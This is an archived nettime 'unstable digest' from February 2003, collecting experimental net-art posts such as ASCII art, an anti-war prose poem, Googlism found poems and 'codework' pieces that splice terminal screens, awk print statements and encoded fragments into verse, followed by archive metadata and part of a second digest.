GS- S-D -DE DEF EFI FIN\n\nELY LY- -DO DO- O-S -SE SEE EEM EM- M-T -TO TO- O-B -BE BE- E-M\n\n-MA MAK AKI KIN ING NG- -SE SEN ENS NSE SE- E-A -AG AGA GAI AIN\n\nN.- HAT EVE ER- R-W -WA AS- S-C -CA SIN ING NG- G-T -TH THE HE-\n\nE-T -TE TEX EXT XT- T-T -TO TO- -FR FRA RAG AGM GME MEN ENT NT-\n\nT-B -BE FOR ORE RE- E-I -IS IS- S-N -NO NOW OW- -LO SIN ING NG-\n\nG-T -TH THE HE- E-B -BA LE- E-A -AN AND ND- D-A -A- A-F -FO FOR\n\n-OF OF- -ME NIN ING NG- G-I -IS IS- -RE REA EAS SSE RTI TIN ING\n\nNG- G-I -IT ITS .-W ITH TH- H-A -A- -SE SEN ENS NSE SE- E-O -OF\n\nOF- -RE -YO YOU OU- -SI IGH GH- H-A -AN AND ND- D-A -AL ALL OW-\n\nW-T -TH THA HAT AT- T-T -TH THE HE- E-S -ST STR LE- E-I -IS IS-\n\nS-F -FI FIN INA NAL ALL LLY LY- Y-A -AT AT- T-A -AN AN- N-E -EN\n\nEND\n\n\n\nmwp\n\n\n\nDate: Tue, 18 Feb 2003 18:46:25 +0100\nFrom: \"[iso-8859-1] Bj=F8rn Magnhild=F8en\" <magh {AT} chello.no>\nTo: 7-11 <7-11 {AT} mail.ljudmila.org>\nSubject: (no subject)\n\n\n_NNNNN\n\nNNNNNNN\n                                                                          N=\nN\"\n(NNN\n      ____                                                             _N\"\n_NNNF`\n       NNNNN_                                                      __NNN _N=\nNNF`\n       NNNNNNN                                                  .JNNNNNNNNN=\nN\n      _NNNNNNN__                                            `4NNNNNNNNNNNNN=\nN\n     (NNNNNNNNNNNNNNLJNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN)       (NNNNNNNNN=\nN\n     (NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN)     .JNNNNNNNNNN=\nNU.\n     (NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNL_JNNNNNNNNNNNNH=\nQ\"U)\n      UHNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNH_=\n\"U``\n       UNNNNNNNNNNNNNNNF\"\"\"\"NNNNNNNNNNNNNNNNNNNNNNNN\"\"\"\"\"NNNNNNNNNNNNNNNHH =\n\"_\n       \"UHNNNNNNNNNNN)        NNNNNNNNNNNNNNNNNNNN        (NNNNNNNNNNNNNN_\n         UUNNNNNNNNNN)        NNNNNNNNNNNNNNNNNNNN        (NNNNNNNNNNNNNH \"\n          H#NNNNNNNNNNL.    _NNNNNNNNNNNNNNNNNNNNNN_     JNNNNNNNNNNNNNHA\n           #QNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNA  _=\n#\n           QNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNAU#Q\"=\n  ..\n           Q#NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNQQNQU=\n\"\n         _ UNHNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNH#QU=\nUD_.\n         NHNNHNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNHQU=\nA__.\n        \"QH UNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNQ#NHQAQH=\n#U__.\n         \"#NHNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNHFH# \"#U\" =\n \"\n       _\"\"      \"4HN#HNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNHH#F4L \"Q_ \"\"\n                    `\"4HHHNNNNNNNNNNNNNNNNNNNNNQHNNNNNNNNN#)(Q)(H)\n                       `\"4NNNNNNNNNNNNNNNNNNNNNH\"#HNNNNNHF4#)`/.`4)\n                          \"HNNNNNNNNNNNNNNNNNNNNQ#HUHN#Q#(L.`4)\n                             \"NNNNNNNNNNNNNNNNNNNU#NN_U# /.``\n                                 \"HNNNNNNNNNNNNNNNNNN#Q_\n                                  \"UNHHNNNNNNNNNNNNNH_\"U_\n                                    (HHHNNNNNNNNNNNN#UU_\n                                     `4HNNNNNNNNNNN#QQU  `\n                                        (NNNNNNN#NH#Q#_ \"\n                                        (HNNNNNNNNN#HU_\n                                         (NNNNNNNNNH_\"UQ\"..\n                                         (#NNNNNNNH#\"\"__\n                                          (NNNNNNNNUQU_  `..\n                                          .JNNNNNNNNNUUU\"`\n                                          `4NNNNNNNNNNHQ_.\n                                           (QNNNNNNNNNHH#UL__.\n                                            (NNNNNNNNNHQ#NHLJ)\n                                            (NNNNNNNNNHQU###HH#UL.\n                                            (NNNNNNNNHQQ\"AF\"/JHHQLJQA\"\n                                          .J#NNNNNNNNNH#QA)(HHHH###\"\n                                          (NNNNNNNNNNNNHU4)``\n                                          (NNNNNNNNNNNNDD\n                                         .JNNNNNNNNNNNU\n                                         (#NNNNNNNNNNND\n                                       .JNNNNNNNNNNNNUD\n                                      (QHNNNNNNNNNNNND\n                                    .JHNNNNNNNNNNNNNN\"\n                                   _QNHHNNNNNNNNNNNNN   _.    `\"\"\"`\n                                   Q#)(NNNNNNNNNNNNNNNHHH#QQL.\n                                 QN\"NNNNNNNNNNNNNNNNNNNNNNNH#L_.\n                               \" #_NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN\"\n                                _NANNNNNNNNNNNNNNNNNNNNNNNNNNNHHF`\n                         .____NNHNNNNNNNNNNNNNNNNNNNNNNNNNNNNNHQUL.\n                   `4###F\"\"Q\"UU\"NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNHQUF\n                   .J##UQ###  #N NNNNNH##QUAAUUQQQNNNNNNNNNNNNHQAF\"\n                    `4NHQ)A    NQ N#UQQQ#QQQQUUQQ#HNNQNNNNNNNNNH#F4_    Q_\n                     `4NN#    _NN HQ##F4UQUQUU) AAAAAHNNNUUUQHNNNN#______HU\nQL____\n                     .JA#NNNNNNNNNHHH#QQUL____JDAAQUQ###HNNNL. (NNNNNNNNNN#=\nQU\n(DQH\n    .__        NNNNNNNH#HNN#__##HHNNNNH#####QQFAUAUUUQQNHNNNNHLJNNHAAA_\nDN#NH#L_.\n   (UF\"_      \"\"  `4UF\"\"\"4UQ\"UU\"_AUALJA)(UUULJF\nUHNNNNNH##HHQUQQHNH\"\"\"\"\"\"QQQUUQ#\n   (AUNN#QQQUU__HNNNH####QUUUUUQU\"UUUUUUUUUQQQU\n_UQUUQUAQQL__UQUUUUH#####HH\n\n\n\n\n\n\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=3D\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=3D\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ =\n_\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=3D\"7-11.00\n071101010 07110101 0711.00100# > ###########\nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n/ /____|##################################################################\n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n>\n>\n\n\n\nDate: Thu, 20 Feb 2003 08:04:53 -0500 (EST)\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: nettime-l {AT} bbs.thing.net\nSubject: narcissism (ny report)\n\n\n\nnarcissism\n\nwe're speaking for the moment - online and offline conversations - analy-\nses - manifestos - signs, marches, puppetry - it goes on and on - they're\nsilent on the other side - use the royal 'we' - they include us - we're\nbeing led to the slaughter - we're taking the world with us - we'll use\nweapons of mass destruction - tactical nuclear against the bunkers - 10 to\n15 percent of our weaponry gone astray - our own military reports expecta-\ntions of over 3000 civilian casualties - in the name of liberation - blair\ntoo - the whole lot of them - cold warriors - compulsive-obsessives -\nmadmen - another futile protest here -:they're getting stronger by the\nmoment - our performances are just that - select audiences of hundreds of\nmillions - they can't do anything - we're speaking into our own skin -\nalready the fear's upon us - they're nameless - they hide behind acronyms\n- they lie, they fabricate evidence - tapes - bin laden's muddy voice -\nwe're supposed to believe all of this - we're under the gun here - we're\nunder warning - we're a declared state of emergency - :resistance is\nfutile - useless - we're bringing out blocks of writing - reams of it - to\nno avail - the only measure that carries weight - violence, armed\nresistance - i'm not up to that - we're unused to the brutality of our own\ngovernment - help's got to come from elsewhere - stunning revelation -\nbush cancels 2004 elections - declares state of emergency - he's already\nbacked by the army - we're allowed to speak - our voices give out - the\nstrongest among us will be taken away - you've got to help us - you've\nseen it all before - :: there aren't any miracles - stock market's falling\n- construction's down -\n\nA legs and homes\nnightmare!\nA legs and homes\nnightmare!\n\n\n===\n\n\n\n\nDate: Tue, 18 Feb 2003 11:03:07 +0100\nFrom: Ana Buigues <abuigues {AT} WANADOO.ES>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: sorted out\n\nsuck                                rock\n----                                ----\n\nwebartery\nnettime                             nettime\nwebartery\n                                          syndicate\nnettime-lat\nwebartery\nwryting\n                                          7-11\nwebartery\n                                          empyre\nghasa\nwebartery\navant-garde\nh-arthist\nwebartery\n                                          dance-tech\nnettime-lat\nwebartery\nharte\nrhizome                             rhizome\nnettime\n                                          calls and opps\n                                          cybersociology\nnettime-lat\nwebartery\nnettime                             nettime-bold\n                                          chart\n\nwebartery                           webartery\n                                          artservis\n\n\n\n\n\n\nTo: webartery {AT} yahoogroups.com\nFrom: mez breeze <netwurker {AT} hotkey.net.au>\nDate: Tue, 18 Feb 2003 08:46:35 +1100\nSubject: Re:  Re: hypertext\n\nAt 10:23 PM 16/02/2003 +0000, you wrote:\n\n>I actually do buy that form and content are one====which is why i\n>insist on digital content's \"painterliness\"===when i create a piece,\n>i want the content to be dynamic, i want it to vary...i want the\n>content to be a collaboration among the user, the machine, and\n>myself===\n\n\n::col.lab[i]a naked, vacant concept with red M white striped [bench.]markas\n\n::collaboration.as.d.<con>fined.via.static.proscribed.synergism is BLANK.\n\n\n>this is why digital writing that doesn't take into account\n>the computer's propensity for variability sometimes leaves me\n>cold...\n\nthis is why <conceptual theorising> that doesn't take into account\nthe com.p[erson realignment]uter's propensity for variability sometimes \nleaves me\ncold...\n\n>i feel stuck outside the piece, when the point of the network\n>is participation===\n\ns[t]uck<ling>.pigged.and obtuse.frozen.\n\n\n\n\n- pro][tein][.logging.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker/\n_\n_sparks of lost hu][bris][man $cent][+re.sieved][_\n\n\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\nDate: Wed, 19 Feb 2003 02:49:01 -0800\nFrom: kari edwards <terra1 {AT} SONIC.NET>\nTo: POETICS {AT} LISTSERV.BUFFALO.EDU\nSubject: moat tory frown ten\n\nmoat tory frown ten\n\n10, =93ich real ich real, ten four bunch fen fourteen?=94 ---, =93so coal\ntan, fatso crabcakes hen peanut butler, plan door tan moor\nforeplay?=9410, =93bone lip ticks, catcher chin da lie, nor ana dy cat puat\ntened scream blond.=94---, =93all the or  fabkeys please, tether ben nat\nduck taker.=94 10, =93mate bow dow.=94 --, =93bet more don.=94 10, =93 blow=\n zen,\nnappy nappy per hay.=94 --, =93may in yo.=9410, =93may.=94\n\nclober ben say, vin ma hark vest tea blond kevin more tell coach 10\nbland -- cure bound head. plug vast NORAD bat buzz bird bun meter buzz,\n=93sneez  bleed nose cellophane.=94 biscuit above plan carnivorous pew blue\ncart, cut but chen now? tall please bar teflon tis cum above who\nsatins; plus) tall me far haying ISBNs heath but hanse, door, pew) few\naccord hospital fake clowns, chew hot blues vent  ten bet.\n\n\n\nDate: Thu, 13 Feb 2003 18:07:29 -0500\nFrom: Brandon Thomas Barr <barr {AT} MAIL.ROCHESTER.EDU>\nTo: POETICS {AT} LISTSERV.BUFFALO.EDU\nSubject: 2 Googlism poems\n\n1.\n\n{she is not fair to outward view}\n\nshe is not a beauty even when she smiles\n\nshe is like a woman\nshe is moaning after anal insertion\nshe is up again against the skin of her guitar\nshe is now her father's daughter\n\nshe is e\n\nshe is pulled feet\nshe is not fair to outward view\n\nshe is more to be pitied than censured\nshe is talking up a storm\n\nshe is spoke here\nshe is the darkness\nshe is growing up\nshe is dying\n\nshe is beautiful sells for $9\n\nshe is sleeping\n\nshe is inserting the finger into her pussy\nshe is in love with herself and has made some of hollywood's worst films\nshe is very famous in some fetish videos\nshe is probably the best ever seen\n\nshe is beautiful\nshe is beautiful and hot\n\n\n2.\n\n{he is one of the top actors in the world}\n\nhe is not afraid to fly\n\nhe is coming\nhe is in love with her & wants to leave his wife\nhe is risen\nhe is us\n\nhe is pained by occupation of jerusalem\nhe is currently waiting for a lung transplant\nhe is induced or persuaded by law enforcement officers\nhe is outraged by enron outcome\nhe is consulting with congress\nhe is \"not allowed to comment\" on what happened because it is a security\nmatter\n\nhe is here\n\nhe is one of the top actors in the world\nhe is decorated boris yeltsin\nhe is the spy\nhe is not afraid to fly moscow\n\nhe is not well\n\n\n\n{{{{text derived by searching googlism.com for \"he\" and \"she\" with\n\"who\" argument.  entry order maintained, though text was heavily edited\nand lineated}}}}\n\nBrandon Barr\nhttp://texturl.net/\nhttp://bannerart.org/\n\n\n\n\n\nnettime unstable digest vol 35\nSun Feb 23 16:59:54 2003\n\n\nSubject: /msg positioning. [u.r.in.the.making]\n    From: mez breeze <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org,\n\nSubject: LE TEXTE ET LA MACHINE.\n    From: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\n    To: nettime-fr {AT} samizdat.net, 7-11 {AT} mail.ljudmila.org\n\nSubject: It all begins. . . [vers 2]\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: POETICS {AT} LISTSERV.BUFFALO.EDU\n\nSubject: (no subject)\n    From: \"[iso-8859-1] Bj=F8rn Magnhild=F8en\" <magh {AT} chello.no>\n    To: 7-11 <7-11 {AT} mail.ljudmila.org>\n\nSubject: narcissism (ny report)\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: nettime-l {AT} bbs.thing.net\n\nSubject: sorted out\n    From: Ana Buigues <abuigues {AT} WANADOO.ES>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Re:  Re: hypertext\n    From: mez breeze <netwurker {AT} hotkey.net.au>\n    To: webartery {AT} yahoogroups.com\n\nSubject: moat tory frown ten\n    From: kari edwards <terra1 {AT} SONIC.NET>\n    To: POETICS {AT} LISTSERV.BUFFALO.EDU\n\nSubject: 2 Googlism poems\n    From: Brandon Thomas Barr <barr {AT} MAIL.ROCHESTER.EDU>\n    To: POETICS {AT} LISTSERV.BUFFALO.EDU\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 23 Feb 2003 17:00:25 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200302232111.h1NLBoS25042 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0302/msg00119.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 35"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00075",
                "content": "\nTo: webartery {AT} yahoogroups.com\nFrom: komninos zervos <k.zervos {AT} mailbox.gu.edu.au>\nDate: Sun, 09 Feb 2003 19:55:44 +1000\nSubject: i #1\n\nonWorldEnter\n         if i = all then all = ok\nend\n\n\nkomninos zervos\nlecturer, convenor of CyberStudies major\nSchool of Arts\nGriffith University\nRoom 3.25 Multimedia Building G23\nGold Coast Campus\nParkwood\nPMB 50 Gold Coast Mail Centre\nQueensland 9726\nAustralia\nPhone 07 5552 8872 Fax 07 5552 8141\nhomepage: http://www.gu.edu.au/ppages/K_Zervos\nbroadband experiments:\nhttp://users.bigpond.net.au/mangolegs\naudioblog\nhttp://spokenword.blog-city.com/\n\n\n  ----------\n\n\n---\nOutgoing mail is certified Virus Free.\nChecked by AVG anti-virus system (http://www.grisoft.com).\nVersion: 6.0.449 / Virus Database: 251 - Release Date: 27/01/03\n\n\n[Non-text portions of this message have been removed]\n\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\n\nDate:         Sun, 9 Feb 2003 22:17:07 -0500\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: My Composition in Language at m.a.g. (fwd)\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nAugust has kindly put the whole piece together at -\n\nhttp://www.muse-apprentice-guild.com/alansondheim-feature/home.html\n\n- click on My Composition in Language\n\n- at least for me, it resonates this way - Alan\n\n\n\n\nDate: Mon, 10 Feb 2003 11:56:49 +1100\nTo: webartery {AT} yahoogroups.com, WRYTING-L {AT} LISTSERV.UTORONTO.CA,\nFrom: \"hu][bris wo][man\" <netwurker {AT} hotkey.net.au>\nSubject: Re:  (ur-k.now.n)\n\n\n------------=_1044838521-642-1316\n\nAt 07:06 PM 9/02/2003 -0500, ewe wrote:\n\n\n\n>i about fear the writing world\n\n\n\n.\ni f.ein[.e].t + fl.op[shop] 2wards::b.oneless [e.]motion\n.\n\n\n\n>& about the tremble world with its tremble\n>name\n\n\n.\nnamed + death dang[l](on)e.rous\nmy h.ear[+breath+pricklings]t n.va[de]sive\n.\n\n\n>  with its fear name writing closing my eyes & trembling the world, do\n>tremble ears, the fearing trembling, trembling, the mouth, the mouth\n\n\n.\nm.out.hed in yr [tr]emble.m::smoothed down + [st]ripped via veined + \ncordless n.sc.RIP.tions::\n[f]u[rr]tility mocking + horra.show.b[agging](l)oat.ing\n.\n\n\n>i fear writing about the world & tremble with its name\n\n\n.\nwrit[u.all] N.\n[dr]inking k.eye.d mouth.fulls.\nbl.OO[P]d.gaps N lurid f.lick.er touche[`]s\n.\n\n\n>closing my eyes & trembling the world, do tremble\n\n\n.\n[loose]fitting.in.spasmoid.flittering.m.on.IT.ore.d.lite\n.\n\n\n>closing my eyes & ears, & fearing the world, do fear\n\n\n\n..f.ur.lined + sumerian-like::s[h]y[per]M.bol[isms] drowned in \ns[ar]c[astic](d)reams\n\n\n>the world fearing & trembling, closing my mouth\n\n\n\n--or.b[like] fleshwurds + blinkered C[++].king\n\n\n>fearing the name of the world\n\n::n.a.m[p.m]e of the go[triple]DDDess rosy\n\n\n\n++\n\n\n\n\n\n\n\n\n- pro][tein][.logging.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker/\n_\n_sparks of lost hu][bris][man $cent][+re.sieved][_\n\n\n\n------------=_1044838521-642-1316\nContent-Disposition: inline; filename=\"message-footer.txt\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------=_1044838521-642-1316--\n\n\n\n\nFrom: gustin.pascale {AT} free.fr\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\nSubject: e(sCape)//happement//t\nDate: Fri, 14 Feb 2003 20:29:38 +0100\n\nCopy [-p]: 1 of 1 :     hIEr en montant les\nCopy [-p]: 1 file : esca(pe)lierS de mon iM m(obile)\nCopy [-p]: 1 of 1 :  eu-ble bleu en montant les\nCopy [-p]: 1 file :   --la cage s(hade)Ombre avec des\nCopy [-p]: 1 of 1 : reflets lu[X]mineux sur les--\nCopy [-p]: 1 file :       marches\nCopy [-p]: 1 of 1 :    ;Qui sUivent Glissent les uns sur\nCopy [-p]: 1 file :         les autres en fonction d;e\nCopy [-p]: 1 of 1 // MES PAS--\u00b9 \u00ac\nCopy [-p]: 1 file /    du mouvement de mes pas--\nCopy [-p]: 1 of 1 : \u00b9 \u00b2 & puis il y a cette petite\n                        [eine kleine Fenster on top]\nCopy [-p]: 1 file :  fen\u00eatre sur le c\u00f4t\u00e9 que je per\u00e7ois\nCopy [-p]: 1 of 1 :  cOmme un espace ouvert--\nCopy [-p]: 1 file :      \u00e9C//happement//tout )\u00e0////coup\nCopy [-p]: 1 of 1           //////&/\nCopy [-p]: 1 file :   pOUR le r/Egard\nCopy [-p]: 1 of 1              \u00b2    \u00b9\nCopy [-p]: 1 file :    la Lampe devant moi\n\n\n\n\n-- \npasc {AT} csaq\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nDate:         Tue, 11 Feb 2003 02:24:36 -0500\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: WAR\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nWAR\n\n\nnothing will stop violence but violenceXN0IG9\n   UW PICO(tm) 4.4\nnothing will stop more violence but violence//images.ta\ndCd\n\"they cut our throats of ac\nuntil we are all dead5nPkNoe\n   UW PIC\n\"t\nwords\" of arms our cut \"theylists         jo\nb29zZSA1\na\nuntil the earth is gone of usrms of wordsQogICAgus - forge\nfor the death of two there are quarteredoats of\nactionsluY2x1ZGluZzogTUFYSU0sIFJ\nbones, the bonesYXIgU\nour arms t\nthe bones, the bonesinto the ba\nwxyz>d\nthe bones, bones cut of wordsBEY\nnothing will stop violence but violence                     [ Wrote 16\nlines ]\nnothing will stop more violence but violencebmUs\nk36% hYW5kIF\n20      new spam; proc me\nbones, bonesile-sh\n21\nuntil we are all deadmembershi\n23      ls\nabcdefghR\n24\nthe blood, bloodW\n25      cp a/f\nwe can die and do nothing\n26      pico fil - PrevP\nthe blood, bloodcp fil a\nwe can die and dls\nwe will kill them\nwe will kill ourselveses another - the other\nblood, bloodyPSIjMDAw\nSe\nthey will kill us the death of two\nthey will tear the tongues from the mouthsainment, ande of\nthe bones, the bonesxlDQ\nthey will not botheret Help  ^Y FirstLin\nfor the death of one of us there are halveswith offers that incl\nb25nPjwvZm9udD\n^C Can\nfor the death of two there are quartered....93, 1994ntu.ac.uk>o\nyour c\nthe bloo\nthe bones, the bonesJpY\nthe blood, blood\nthe bones, bonesthe blood, blood\nthe bones, the bonesblood, blood19 KB) \"\nthe bones, bonesme to write : yy\nnothing will stop more v\nFile Name to wr\nwe will bomb ourselvesxpZ249Im\nwe will scream and protest nothing8--ber> R\npqrstuv 4\n^G\nwe will kill themFilesA7PC9wPg0KIC\nwe will kill ourselves    TAB CompleteD   3\nblood, bloodtdm-er\n^G Ge\nthey will kill ust  ^R Read File ^\nblood, bloodK Cut Text\nthey will kill userver  (1047) Mes\nthey will tear the tongues from the mouthsaWFsIj4\n^X Exit      ^J Justify   ^W Where\nthey will not botherUnCut Text^T To Spel\nthey will split the bodies in twoaXplPSIyIiBmYWNlPSJBcmlhbCI+PC9mb\nfor the death of one there are two              File: yyeim {AT} panix.co\nfor the death of one of us there are abcdefghijklmnopqrs\nblood, the bloodB3b3VsZCBwcmVmZX\nthe blood, blood one of us there\nwe can scream and do nothing\nbm90DQogICAgICAgIHRvIHJl\nfo\nwe can die and do nothingre quartered R Reply\nFro\nwxyzYTE.\nwe can die and do nothinges, the bonesywgPC9mb250P\n? Help       < MsgIndex   P PrevMsg       - PrevPage D Delete     R\nReplyut violencesons above mentio\nZmZAZ3JlZW50cmVlc3R1bXAuY2\nuntil we are all\nO OTHER CMDS > ViewAttch  N NextMsg     Spc NextPage U Undelete   F\nForward\nb250DQogICAgICA\nEr\n  PINE 4.51   MESSAGE TEXT               Folder: INBOX  Message 3 of 3 END\nding mu; rm yy; mJlPC91Pjwvc3Ry\n+     2 Feb  5 Ian S. Murray       (\nremo\nwxyzy-Id\nwe can die and do nothing\n/[z]+/ { print \"blood, the blood\" }CjI\n^C Cancel    ^J Justify   ^W Wh\n/[y]+/ { print \"the blood, blood\" } To Spell - - - - - -\nbEM0LTgyOHRuV\n/[x]+/ { print \"we can scream and do nothing\" }s]\nhttp://www.asondheim.org/ http://www.asond\n/[w]+/ { print \"we can die and do nothing\" }l.net  Tue Febev Pg   ^K Cut\nhttp://www.anu\n/[v]+/ { print \"we can kill and do nothing\" }o\n11 00:51:52 2003lding\nDate: Tue, 11 Feb 20\n/[u]+/ { print \"we will kill them\" }2695.008.0.1 {AT} b.list-email.net\nolder\n/[t]+/ { print \"we will kill ourselves\" }internet_txt.htmlez 1 hea\nT\nX-Original-\n/[s]+/ { print \"blood, blood\" }ister now\nTrace projects http:/\n/[r]+/ { print \"they will kill us\" }ex.htmcom [66.180.246.24])ut how man\n/[d]+/ { print \"nothing will stop violence but violence\" }\n        by mail1.p\nhttp://www.asondheim.org/ http://www.\n:o\n:h\n:m\n-r\nThere is no -^? option  (press RETUR\nvideo editing tools f\nthe blood\n/^$/ { print \"until the earth is gone of us\" }xyztion? What does it\nportend\nabcdefghe.email-\n{o\n for ( i = NF; i >= 1; i-- )e are halvesevails - sing me\n printf \"%s \", $i;ndards?\nwe will b\n printf \"\\n\"; plan violate\n}h\nk42% bhe bon\nTo 7-11 {AT} mail.ljudmila.org  [7-11] abcdefghijklmnopqrstuvwxyz\nviolenceifference - i'l\n~\nand state?~~~~~~~~~~\n:::\nuntil\nk43% lsll dead\nMail                lynx_bookmarks.html phoenix.irc         venom.irc the\nearth is gone of usy Pournelle, Chaos Manor #270\nblood, the blo\nnail\n          RV.UTORONTO.CA>t.\"com/maaaP0\nO OTHER CMDS > [ListFldrs] N NextCmd                 K\nKBLockdan_sondheim {AT} yahoo.ca>,f through\nCriminal prosecution for po\nour web\nwithout bail.ViewMsg]  N N\nForward on the la\nSend message? YesCenter for Public\nthe blood, the blood\nthey will not botherc NextPage U Undelet\nthey will split the bodies in two\nthey will pay no attentionE 4.51   MESSAGE TEXT\nfor the death of one of us there are halves         (4436) Re: #1Db/aim\nYour Free PDA\nfor the death of two there are quartered5 Ian S. Murray       (1456) Ohio\nStatla\nbones, the bones\nabcde\nSpellghijklmnopqrstuvwxyz             K KBL\nthey will tear the tongues from the mouths\nabcdefghijklmnopqrstuvwxyzoke-list..\nthey will not bothere projects http://tr\nthey will pay no attentioneim/index.htm\n\n\n\n\nFrom: gustin.pascale {AT} free.fr\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\nSubject: (Aucun objet)\nDate: Wed, 12 Feb 2003 22:33:37 +0100\n\n      _le (s)trait de l'horizon           t_AL\n  \\\n   \\              d IR\n    \\           L a NG\n     \\     d\u00e9fini T io(bligatoire)n\n[aacu\\e]         a\n[Aacut\\]         A\n[acirc \\         a\n[Acirc ]\\        A\n[agrave] \\       a\n[Agrave]  \\      A\n[aring ]   \\    aa\n[Aring ]    \\   AA\n[atilde]     \\   a\n[Atilde]      \\ Ah!                 A\n                   \\                        plain_text\n                    \\\n                     \\\n                    -o\\liger\n                    -ob\\ique\n                    -obl\\t\u00e9rer\n                         \\\n                       -obli\\era\n                         -o\\solete\n\n-- \npasc {AT} csaq\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nDate:         Fri, 7 Feb 2003 00:10:42 -0500\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: dancegrid module\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n/[0]+/ { print \"internal module dancing\" }\n/[z]+/ { print \"sustained notes as in autonomic nervous system\" }\n/[y]+/ { print \"the whirl of worlds\" }\n/[x]+/ { print \"leading from gridance to landgrid\" 